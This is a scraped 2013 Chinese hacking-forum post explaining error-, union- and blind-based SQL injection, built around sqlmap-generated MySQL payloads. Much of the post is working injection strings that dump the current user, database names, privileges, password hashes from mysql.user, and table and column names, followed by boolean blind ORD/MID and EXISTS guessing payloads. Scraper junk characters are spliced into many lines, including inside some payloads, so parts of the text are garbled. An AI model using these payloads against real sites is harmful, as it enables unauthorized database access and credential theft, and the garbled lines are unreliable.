找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2351|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。$ X1 o/ S! Q5 u6 U, L; z) g+ b

4 C: o! ]2 r4 ]$ J这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
( C3 I3 v0 t- e* K" d# n $ V- Z% D/ q8 t& F' ~: ]
分类标准        分类        备注8 U0 j! O3 Y/ A( `" Y# t' F( R  O
按字段类型        整型注入,字符型注入       
6 n- X, ]6 S- s- M! m7 m6 Y6 K按出现的位置        get注入,post注入,cookie注入,http header注入       
; ?9 K$ ~7 m7 X, O) Q9 A然而高级注入是这样的
8 _7 u% T8 o, P1 x: N( o 8 q6 X7 Q: F) N! B0 g2 R- E
高级注入分类        条件
1 h' M# u: I& V) k% Verror-based sql        数据库的错误回显可以返回,存在数据库,表结构, L: X# H8 ~5 C) U  r' O
union-based sql        能够使用union,存在数据库,表结构& l8 @" \" k! X# U; I# b
blind sql        存在注入
9 o: f4 F, ^) `! _7 U1 \; ?我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。5 \- j: {5 P! a9 C# d" M7 P

. F, Q" d( s( p6 V& ^4 @- [/ z$ u好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火2 S4 p0 y; s% @$ \

' N, `1 g/ b/ @) y& h& ?& }附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
' U, u- ]$ B5 ]
( W% _; T# v2 `& O. n9 b6 A这里用mysql说明
4 r$ P0 h1 W% _6 B. u! f
$ |9 t% s$ n5 Z+ w) se注入坛子里很多了,请看戳我或者再戳我! f* j1 q/ n( W: E3 H% p& J

+ n7 m, M$ x  u$ Ru注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
+ r0 q, k3 Y. g9 ~* C. G) P9 ?
9 I1 U& C+ Q; W, h2 b6 V# a" k获取当前数据库用户名
% }& b6 |0 K: Y. |' Q- [# h2 N # Z8 ~; x1 {4 G1 h
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C. G8 S" M6 U7 m, W3 |% r5 P! y
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL' _) c2 t7 [. y& j" s! g
L, NULL#
3 w, x# x% l* P+ v+ N. Q5 T* r注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。) \- h8 V' j: x# _$ Y* ?, w
; m5 O/ Z9 S& m( g2 H
获取数据库名9 S+ `4 M- F3 S3 r1 I1 j% U9 ^

' {! _6 @, J' Q3 Y% \/ O( h6 w, wUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
  b* d  a/ g) @* E获取所有用户名( e* F& Q' I- Z4 L& e
. d' W* |$ I0 _9 K9 ^4 o
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
  g+ |" T0 _5 w3 @7 M" |8 n查看当前用户权限2 J! ~+ `$ q& k9 m

8 }3 N3 S9 ]  q, j0 n( RUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
1 j: k% p8 @$ g' n尝试获取密码,当然需要有能读mysql数据库的权限7 e0 ~; _6 r9 T. H% I
0 U1 c8 o1 ]4 Q; J" Z9 U
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#( x0 E5 I- n7 }; T) ^
获取表名,limit什么的自己搞啦7 r& \) a1 t! W- D% j
" R* t, y. N# D: x0 J
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
9 l  E. I& Y; s4 L获取字段名及其类型1 ^+ g% H. {7 J+ [
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
0 h' ~3 E2 ]' L4 j$ c: z  J
' y2 _! f  j3 A- Q  c0 h. G) u  {b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。7 w! I6 F5 S* L! F" I4 R! n

9 F+ V( w9 `) [2 \0 s) E+ p) B如:: `6 Y$ f: }% }
获取当前用户名: }: n1 j: _6 p( Y! e

% p5 l4 l( R0 Q5 G/ F- NAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
3 z8 s. ]1 g) f, ?( y0 O  w, T获取当前数据库
3 G! ?9 U! h; `" V3 ]
/ f& [/ |9 ]) f* v2 F* G& b+ WAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
7 t0 w; ^/ A3 f6 e, U$ \获取表名
0 t1 c6 M7 U+ c9 f, A( C . j4 |; Q1 ?& a4 q$ N
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
4 c0 }1 L2 U2 p2 c1 Z获取字段名及其类型和爆内容就不说了,改改上面的就可以了。& f0 ?; T" Y2 D9 U  `* r
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。" ~" u9 K  P+ R2 V3 k( A/ z
爆表
" J4 s. A6 z0 x* ?+ Y4 C 2 n4 m. ^" f* t% L5 C. l% J& a
AND EXISTS(select * from table)
0 G; b/ ], W& ?4 `# \3 `0 q* z爆字段- I& {% P) L+ M7 U. Q  s4 N
+ I& X, ?6 C3 A, B) s
AND EXISTS(select pwd from table). z9 i1 T; r; m; c0 m
盲注的变化就比较多了,由于篇幅,只是举个例子而已。% f7 k( ^/ T) O( B
2 e7 G5 j1 k- u0 B5 n
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
0 n* l! B. Q9 P9 G7 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表